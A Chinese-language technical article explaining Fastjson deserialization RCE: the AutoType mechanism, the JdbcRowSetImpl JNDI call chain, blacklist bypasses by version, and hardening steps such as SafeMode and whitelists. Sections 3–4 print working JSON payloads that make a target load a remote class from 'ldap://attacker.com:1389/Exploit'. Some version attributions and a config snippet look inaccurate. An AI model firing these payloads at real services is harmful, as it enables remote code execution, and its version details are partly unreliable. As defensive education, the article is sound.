Fastjson反序列化漏洞深度剖析

Fastjson反序列化漏洞深度剖析

摘要

Fastjson是阿里巴巴开源的Java语言开发的JSON处理器,因其高性能和易用性,在Java生态系统中被广泛使用。然而,Fastjson也因其反序列化机制,多次被爆出严重的安全漏洞,允许攻击者执行任意代码(RCE)。本文将深入剖析Fastjson反序列化漏洞的原理、攻击方式,并提供防御措施。

1. 什么是Fastjson?

Fastjson是一个Java库,用于在Java对象和JSON数据之间进行转换。它提供toJSONString()方法将Java对象序列化为JSON字符串,以及parseObject()parseArray()等方法将JSON字符串反序列化为Java对象。

2. 反序列化漏洞概述

反序列化漏洞是指程序在处理不可信用户输入的反序列化数据时,由于没有对数据进行严格的校验,导致攻击者可以通过构造恶意的序列化数据,在目标系统上执行任意代码或造成其他危害。

3. Fastjson反序列化漏洞原理

Fastjson在反序列化时,特别是当使用parseObject(json_string, Object.class)JSON.parse(json_string)等方法,并且JSON字符串中包含@type字段时,Fastjson会根据@type字段指定的类名去实例化对应的类。如果攻击者能够控制@type字段的值,并指定一个恶意类(例如,一个可以在构造函数或特定方法中执行命令的类),那么在Fastjson尝试实例化该类时,就会触发恶意代码的执行。

漏洞成因深度剖析

Fastjson反序列化漏洞的根本原因在于其核心的AutoType(自动类型)机制。为了在序列化和反序列化过程中保留Java对象的完整类型信息,Fastjson允许在JSON字符串中添加一个@type字段来指定对象的具体类型。当Fastjson进行反序列化操作时,如果检测到@type字段,它会:

  1. 动态加载类:使用Java的反射机制,根据@type字段中指定的完整类名(如com.sun.rowset.JdbcRowSetImpl),动态地加载对应的Class对象。
  2. 实例化对象:通过反射调用该类的无参构造函数(如果存在)来实例化一个对象。
  3. 调用Setter方法:将JSON中对应字段的值,通过反射调用该实例化对象的setter方法进行赋值。

问题在于,Fastjson在早期版本中默认信任并动态加载了来自不可信源的任意类。当攻击者能够控制@type字段的值时,他们就可以指定任何存在于应用classpath中的类。如果这个被指定的类在实例化或其setter方法被调用时会产生副作用(例如,触发JNDI查找、执行系统命令等),那么攻击者就可以利用这种机制,在反序列化过程中执行任意代码,从而造成远程代码执行(RCE)。

3.1 攻击链分析

典型的Fastjson反序列化攻击链如下:

  1. 寻找可利用的Gadget:攻击者需要找到一个在反序列化过程中会被调用,并且能够执行恶意操作的Java类和方法(称为Gadget)。这些Gadget通常是JDK自带的类或常用第三方库中的类。
  2. 构造恶意JSON数据:攻击者构造包含@type字段和恶意数据(如JNDI连接、URLClassloader等)的JSON字符串。
    {
        "your_key": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://attacker.com:1389/Exploit",
            "autoCommit": true
        }
    }
    

    或(更直接的@type利用方式)

    {
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://attacker.com:1389/Exploit",
        "autoCommit":true
    }
    
  3. 发送恶意JSON数据:将构造好的JSON数据发送给使用Fastjson进行反序列化的目标应用。
  4. Fastjson反序列化触发:目标应用使用Fastjson对恶意JSON数据进行反序列化,识别到@type字段后,尝试加载并实例化指定的恶意类。
  5. 恶意代码执行:在恶意类的实例化或特定方法调用过程中,触发攻击者预设的恶意操作,例如通过JNDI加载远程类并执行其中的代码。

完整的调用链示例:基于com.sun.rowset.JdbcRowSetImpl的JNDI注入

为了更直观地理解Fastjson反序列化导致RCE的完整过程,我们以一个经典的JdbcRowSetImpl作为Gadget,结合JNDI注入,来详细剖析其内部调用链。

恶意JSON Payload:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
}

内部调用流程解析:

  1. Fastjson解析@type字段:当Fastjson接收到上述JSON字符串并尝试反序列化时,首先会解析到"@type": "com.sun.rowset.JdbcRowSetImpl"
  2. 加载并实例化JdbcRowSetImpl
    • Fastjson利用反射机制,通过Class.forName("com.sun.rowset.JdbcRowSetImpl")加载JdbcRowSetImpl类。
    • 随后,调用其无参构造函数new com.sun.rowset.JdbcRowSetImpl(),创建一个JdbcRowSetImpl实例。
  3. 调用Setter方法进行属性赋值
    • Fastjson继续解析JSON中其余字段。遇到"dataSourceName": "ldap://attacker.com:1389/Exploit"时,会调用JdbcRowSetImpl实例的setDataSourceName("ldap://attacker.com:1389/Exploit")方法,将JNDI地址设置进去。
    • 遇到"autoCommit": true时,Fastjson会调用JdbcRowSetImpl实例的setAutoCommit(true)方法。
  4. 触发JNDI查找
    • JdbcRowSetImpl类中的setAutoCommit(boolean)方法有一个特性:当其参数为true时,内部会隐式调用connect()方法。
    • connect()方法会尝试建立数据库连接。在建立连接之前,它会使用dataSourceName属性来查找数据源。由于dataSourceName被设置为ldap://attacker.com:1389/Exploitconnect()方法会触发一次JNDI查找,尝试从LDAP服务器attacker.com:1389获取名为Exploit的对象。
  5. 恶意LDAP服务器响应
    • 攻击者在attacker.com:1389上搭建了一个恶意的LDAP服务器。当接收到目标应用的JNDI查找请求时,恶意LDAP服务器会返回一个恶意的Reference对象。
    • 这个Reference对象通常指向一个由攻击者控制的Web服务器上的Java类文件(例如,http://attacker.com/Exploit.class)。
  6. 加载并执行恶意类
    • 目标应用在接收到恶意的Reference对象后,会根据其中指定的URL,尝试从攻击者的Web服务器下载Exploit.class文件。
    • 下载后,Java虚拟机(JVM)会加载并实例化这个Exploit类。如果Exploit类在其构造函数或静态代码块中包含恶意代码(如Runtime.exec("command")),则这些代码会在目标服务器上执行,从而实现RCE。

整个链条利用了Fastjson的AutoType机制,结合JDK内置类的特殊行为(Gadget)和JNDI服务的特性,最终实现了远程代码执行。这个过程无需程序显式地调用任何敏感方法,仅通过反序列化即可完成。

4. 历史版本漏洞及攻击Payload示例

本节将列举Fastjson历史上著名的漏洞版本及其对应的攻击Payload示例,展现其防护机制与绕过手法的演进。

4.1 Fastjson 1.2.24以下版本:JNDI注入的狂欢

在Fastjson 1.2.24及更早版本中,AutoType机制默认是开启的,并且没有任何黑名单或白名单的限制。这意味着攻击者可以指定任意存在于classpath中的类进行加载和实例化。结合Java的JNDI(Java Naming and Directory Interface)功能,攻击者可以轻易地利用一些JDK内置的、具备JNDI查找能力的类(Gadget)实现远程代码执行。

典型Payload示例:利用com.sun.rowset.JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:当Fastjson反序列化此Payload时,会实例化JdbcRowSetImpl对象,并通过setDataSourceName设置LDAP服务器地址,autoCommit设置为true会触发connect()方法,进而执行JNDI查找,最终从[ATTACKER_LDAP_SERVER]加载并执行恶意类。

4.2 Fastjson 1.2.25 - 1.2.47版本:AutoType黑名单与Bypass

为了修复1.2.24版本之前的RCE问题,Fastjson在1.2.25版本引入了AutoType的黑名单机制,试图阻止一些已知危险类的加载。然而,安全研究人员很快发现,通过构造特殊的JSON格式,可以绕过这些黑名单限制。

典型Payload示例:利用L前缀或[[绕过黑名单

例如,利用L前缀可以绕过对com.sun.rowset.JdbcRowSetImpl的直接限制:

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:Fastjson在进行黑名单校验时,可能只对完整的类名进行匹配,而Java类型描述符中的L<ClassName>;形式,或者[[<ClassName>形式(表示数组类型)能够成功绕过黑名单的校验逻辑,从而达到加载被禁类的目的。

4.3 Fastjson 1.2.48 - 1.2.68版本:更加严格的黑名单与更复杂的Bypass

随着绕过技术的不断出现,Fastjson不断加强黑名单的覆盖范围和匹配逻辑。但是,攻击者也找到了更多巧妙的Bypass方法,例如利用java.lang.Class来间接引用危险类,或者利用其他不在黑名单中的Gadget。

典型Payload示例:利用java.lang.Class间接引用

{
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
},
{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:这种方式先通过java.lang.Class类型将JdbcRowSetImpl加载到 JVM 的缓存中,之后第二次反序列化时,Fastjson 会直接从缓存中获取该类,从而绕过黑名单的检测。

4.4 Fastjson 1.2.68及更高版本:SafeMode与强力防护

从Fastjson 1.2.68版本开始,引入了SafeMode模式,这是Fastjson对反序列化漏洞防护的一个里程碑式改进。当启用SafeMode时:

  • 默认禁用AutoType:除非显式地通过白名单配置,否则所有的@type字段都将被忽略。这大大减少了攻击面。
  • 黑名单增强:即使在非SafeMode下,也持续更新并强化了内部黑名单。

SafeMode的重要性:启用SafeMode后,Fastjson反序列化攻击的难度大幅增加。攻击者需要发现新的、未被Fastjson内置黑名单覆盖且在白名单之外的Gadget才能进行攻击,这在实践中极为困难。强烈推荐所有Fastjson用户开启SafeMode

4.5 Fastjson 1.2.80+版本:持续强化与默认安全

在Fastjson 1.2.80及更高版本中,Fastjson的安全性得到了进一步的强化,主要体现在:

  • 默认配置更安全:默认情况下,AutoType是关闭的,SafeMode可能被激活或其安全特性被集成。
  • 白名单机制优化:在需要开启AutoType的场景下,白名单机制得到了优化,要求配置更加严格和明确。
  • 持续漏洞修复:针对发现的任何潜在漏洞,官方团队会迅速发布补丁。

总而言之,Fastjson的防护策略从最初的无限制,到黑名单,再到默认禁用AutoType并引入SafeMode,以及后续持续的强化,展现了其在安全对抗上的演进。对于开发者而言,始终使用最新版本的Fastjson,并严格遵循其安全配置建议是至关重要的。

5. 防御与修补措施

Fastjson反序列化漏洞的危害巨大,但通过采取一系列有效的防御措施,可以显著降低受攻击的风险。以下是推荐的防御与修补策略:

5.1 升级Fastjson版本

这是最直接且最重要的防御措施。 Fastjson官方团队一直在积极修复已知漏洞并加强安全防护。因此,务必将项目使用的Fastjson库升级到最新稳定版本。新版本通常包含对历史漏洞的修复,并可能引入更安全的默认配置和机制(如增强的黑白名单、SafeMode等)。

5.2 开启SafeMode

从Fastjson 1.2.68版本开始引入的SafeMode模式是抵御反序列化攻击的强大武器。当启用SafeMode后,Fastjson会默认禁用AutoType,除非明确在白名单中配置的类才能被反序列化。这大幅收窄了攻击面。

如何开启SafeMode:

// 方法一:全局配置
JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.WriteClassName.mask;
ParserConfig.getGlobalInstance().setSafeMode(true);

// 方法二:通过系统属性配置(推荐,无需修改代码)
// 在JVM启动参数中添加:-Dfastjson.parser.safeMode=true

// 方法三:通过fastjson.properties文件配置
// 在classpath下创建fastjson.properties文件,内容为:
// fastjson.parser.safeMode=true

5.3 禁用AutoType

如果你的业务场景不需要Fastjson的@type机制来处理多态对象,或者你对反序列化的类型有明确的控制,那么彻底禁用AutoType是一个非常安全的做法。禁用AutoType后,Fastjson将不会解析JSON中的@type字段,从而消除了一大类反序列化攻击的威胁。

如何禁用AutoType:

// 方法一:全局禁用(推荐,如果业务不需要AutoType)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 方法二:针对单个Parser禁用(Fastjson >= 1.2.68 支持 SafeMode)
ParserConfig config = new ParserConfig();
config.setSafeMode(true);
JSON.parseObject(jsonStr, TargetClass.class, config);

注意:在更高版本的Fastjson中,AutoType默认就是关闭的,无需额外禁用。但在旧版本中,显式禁用是必要的。

5.4 严格的输入校验和白名单机制

即使采取了上述措施,对来自外部的JSON输入进行严格的校验仍然是至关重要的纵深防御策略。

  • 结构校验:验证JSON的整体结构是否符合预期,例如字段数量、嵌套层级等。
  • 字段白名单:只允许接收业务逻辑中明确定义的字段,对于未知的字段直接拒绝或忽略。
  • 类型白名单:如果必须开启AutoType,务必配置严格的类型白名单。只允许反序列化业务所需的特定类,而不是任意类。

示例:配置白名单

// 假设com.example.User是允许反序列化的类
ParserConfig.getGlobalInstance().addAccept("com.example.User");
// 或者通过系统属性:-Dfastjson.parser.autoTypeAccept=com.example.User,com.example.Product

5.5 最小化权限原则

无论Fastjson漏洞是否存在,遵循最小化权限原则都是普适的安全实践。

  • JVM权限最小化:运行Java应用程序的JVM应使用具有最低必要权限的用户账户。
  • 系统权限最小化:即使攻击成功并执行了RCE,受限的用户权限也能在一定程度上限制攻击者在服务器上能进行的操作,例如无法写入关键文件、无法执行特权命令等。

5.6 安全编码实践

  • 避免使用不安全的JDK版本:某些老旧的JDK版本在RMI/LDAP等相关组件中存在已知漏洞(例如,JDK 6u45, 7u21之前的版本),这些漏洞可能与Fastjson的JNDI注入攻击结合,导致更严重的后果。建议升级JDK版本到最新稳定版。
  • 审慎引入第三方依赖:引入新的第三方库时,要评估其安全性。避免引入包含已知漏洞或不安全功能的库。
  • 代码审计:定期对使用Fastjson的代码进行安全审计,特别是那些处理外部输入的反序列化操作。
  • 异常处理:确保在Fastjson反序列化失败时,能够捕获并安全地处理异常,避免敏感信息泄露。

通过综合应用这些防御措施,可以构建一个相对安全的Fastjson使用环境,有效防范反序列化漏洞的攻击。

6. 总结与展望

6.1 总结

Fastjson作为Java生态中广泛使用的JSON处理库,其AutoType机制在提供便利性的同时,也为反序列化漏洞埋下了伏笔。从早期的无限制AutoType,到后续的黑名单、绕过技术,再到SafeMode的引入和AutoType默认禁用,Fastjson的安全性演进史,实则是一部与攻击者持续对抗的攻防史。其核心原理在于,当Fastjson被诱导动态加载并实例化不可信的、带有副作用的类时,即可造成远程代码执行(RCE),对系统安全构成严重威胁。理解这些漏洞的成因、攻击链和历史演变,对于开发者和安全研究人员而言至关重要。

6.2 展望

反序列化漏洞并非Fastjson独有,它是许多序列化库和协议面临的共性安全挑战。随着新的Java特性、新的第三方库和新的攻击技术不断涌现,新的Gadget链和绕过手法也可能随之浮现。未来的安全防护将更加注重以下几点:

  • 默认安全原则:库和框架应默认采用最安全的配置,将不安全的功能默认关闭,只有在明确需要且用户理解风险的情况下才允许开启。
  • 深度防御:不仅仅依赖于单个防护点(如黑名单),而应结合多层级的防御策略,包括:安全的编码实践、严格的输入校验、最小化权限原则、运行时安全监控等。
  • 持续安全更新:无论是Fastjson或其他任何库,及时关注官方的安全公告,并升级到最新版本,是维护系统安全不可或缺的一环。
  • 安全意识培养:提高开发人员的安全意识,使其在设计、编码和测试阶段就能识别并避免潜在的安全风险,从源头上减少漏洞的产生。

Fastjson反序列化漏洞的攻防实践告诉我们,信息安全是永无止境的对抗。唯有不断学习、不断进化,才能更好地保护我们的系统和数据。

改变就是好事。